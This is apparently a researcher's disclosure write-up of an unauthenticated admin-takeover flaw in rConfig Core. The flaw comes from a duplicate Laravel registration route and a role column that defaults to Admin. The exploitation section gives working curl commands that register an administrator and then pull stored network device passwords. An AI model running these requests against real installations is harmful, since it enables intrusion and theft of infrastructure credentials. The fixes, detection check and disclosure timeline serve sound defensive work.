CVE-2026-77915: From Zero to Admin - Unauthenticated Takeover in rConfig Core
CVE-2026-77915: From Zero to Admin in rConfig Core
Introduction
This is the story of finding a CVSS 10.0 vulnerability that allows complete unauthenticated takeover of rConfig Core installations. No credentials needed, no user interaction required, no special conditions - just a single HTTP POST request to register yourself as an Administrator.
This was the highest-severity finding in my security assessment of rConfig Core, and it's a fascinating case study in how small configuration mistakes can lead to catastrophic security failures.
The Setup
rConfig Core is a network configuration management tool. It stores credentials for network devices (routers, switches, firewalls) and automates configuration backups. Think of it as a vault for your infrastructure secrets.
The application is built on Laravel and uses Laravel's built-in authentication scaffolding.
Discovery
While reviewing routes/web.php, I noticed something unusual:
// Line 11
Auth::routes(['register' => false]); // Registration disabled
// ... Socialite SSO routes added here ...
// Line 22
Auth::routes(); // Wait, what?
Two Auth::routes() calls. The first explicitly disables registration. The second, added later (likely during SSO integration), calls Auth::routes() with no parameters - re-enabling registration.
Laravel's router doesn't deduplicate routes. Each Auth::routes() call registers its own set of routes. The second call brings back GET /register and POST /register - the exact routes the first call was trying to disable.
But it gets worse. I checked the database schema:
mysql> SHOW COLUMNS FROM users WHERE Field = 'role';
+-------+------------------+------+-----+---------+
| Field | Type | Null | Key | Default |
+-------+------------------+------+-----+---------+
| role | varchar(255) | NO | | Admin |
+-------+------------------+------+-----+---------+
The role column defaults to 'Admin'. And Laravel's default RegisterController::create() doesn't set the role:
protected function create(array $data)
{
return User::create([
'name' => $data['name'],
'email' => $data['email'],
'password' => Hash::make($data['password']),
// No 'role' specified - uses database default
]);
}
The attack chain: Unauthenticated attacker → registers account → database defaults role to Admin → attacker is now a full administrator.
Exploitation
Step 1: Get a CSRF Token
Laravel requires CSRF tokens for POST requests. We can get one from the sanctum endpoint:
curl -s -c cookies.txt "http://target/sanctum/csrf-cookie"
Step 2: Register as Admin
XSRF=$(grep XSRF cookies.txt | awk '{print $7}')
curl -s -c cookies.txt -b cookies.txt \
-X POST "http://target/register" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-d '{
"name": "Attacker",
"email": "attacker@evil.com",
"password": "Attack123!",
"password_confirmation": "Attack123!"
}'
Response:
HTTP/1.1 201 Created
Set-Cookie: rconfig_session=eyJ...
That's it. One request. We're in.
Step 3: Verify Admin Access
curl -s -b cookies.txt "http://target/api/users/me"
{
"id": 5,
"name": "Attacker",
"email": "attacker@evil.com",
"role": "Admin"
}
Step 4: Steal All Network Device Credentials
curl -s -b cookies.txt "http://target/api/device-credentials"
{
"data": [
{
"id": 1,
"cred_name": "Core-Routers",
"cred_username": "netadmin",
"cred_password": "P@ssw0rd123!",
"cred_enable_password": "Enabl3Secret!"
},
{
"id": 2,
"cred_name": "Switches",
"cred_username": "admin",
"cred_password": "Sw1tchP@ss!"
}
]
}
Game over. We now have credentials for every network device managed by this rConfig instance.
Impact Assessment
This vulnerability is as bad as it gets:
Immediate Impact
- Complete application takeover - Full admin access to all functionality
- Credential theft - Access to all stored network device credentials
- Data access - All configuration backups, device inventories, user data
Extended Impact
- Network infrastructure compromise - Use stolen credentials to access routers, switches, firewalls
- Persistence - Create additional backdoor accounts
- Lateral movement - Pivot to other systems using captured credentials
CVSS Score
CVSS 3.1: 10.0 (Critical)
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Every metric is at maximum severity:
- Attack Vector: Network - Exploitable remotely
- Attack Complexity: Low - No special conditions
- Privileges Required: None - Completely unauthenticated
- User Interaction: None - No victim action needed
- Scope: Changed - Impacts managed network infrastructure
- CIA: High/High/High - Complete compromise
Root Cause Analysis
Two independent issues combined to create this vulnerability:
Issue 1: Duplicate Auth::routes() Calls
The duplicate Auth::routes() call appears to be an artifact of SSO integration work. When adding Socialite routes, a developer likely copy-pasted from documentation that included the Auth::routes() call, not realizing one already existed with different parameters.
Fix:
// Remove the duplicate call, keep only:
Auth::routes(['register' => false]);
Issue 2: Dangerous Database Default
Setting role to default to 'Admin' in the migration was a development convenience that became a security liability:
// In migration
$table->string('role')->default('Admin');
// Should be
$table->string('role')->default('User');
Fix: Either change the default to a non-privileged role, or explicitly set the role in the registration controller.
Remediation Recommendations
-
Remove duplicate Auth::routes() call - Keep only the first call with registration disabled
-
Change database default - Set
roledefault to'User'or the lowest privilege role -
Explicit role assignment - Always explicitly set role in user creation:
protected function create(array $data)
{
return User::create([
'name' => $data['name'],
'email' => $data['email'],
'password' => Hash::make($data['password']),
'role' => 'User', // Explicit assignment
]);
}
-
Admin approval workflow - Require admin approval for new registrations if enabled
-
Route auditing - Regularly audit
php artisan route:listfor unexpected routes
Detection
If you're running rConfig Core, check if you're vulnerable:
# Check if registration endpoint exists
curl -I "http://your-rconfig/register"
# If you get 200 OK instead of 404, you're vulnerable
Also audit your user database for unexpected admin accounts.
Timeline
- 2026-08-01 - Vulnerability discovered
- 2026-08-01 - Emergency report sent to vendor
- 2026-08-02 - Vendor acknowledged, began working on patch
- 2026-08-03 - Patch released in emergency hotfix 8.2.14
- 2026-08-10 - CVE-2026-77915 assigned
Lessons Learned
-
Configuration is code - Treat routing and authentication configuration with the same rigor as application code
-
Defaults matter - Database defaults should always be the most restrictive option
-
Integration points are risky - Adding new features (like SSO) often introduces vulnerabilities at integration points
-
Defense in depth - Multiple layers failed here: routing, registration validation, role assignment, database defaults
-
Regular audits - Run
php artisan route:listperiodically and review for unexpected routes
Conclusion
This vulnerability is a perfect example of how small oversights compound into critical security failures. A duplicate line of code that should have been cleaned up. A database default that was convenient for development. Neither alone would be critical, but together they created a trivially exploitable path to complete system compromise.
The fix took minutes. The potential damage could have been catastrophic.
This vulnerability was discovered through ethical security research and responsibly disclosed to the vendor. The emergency patch was released within 48 hours of disclosure.
Adam Nurudini
Offensive Security Consultant | CVE Author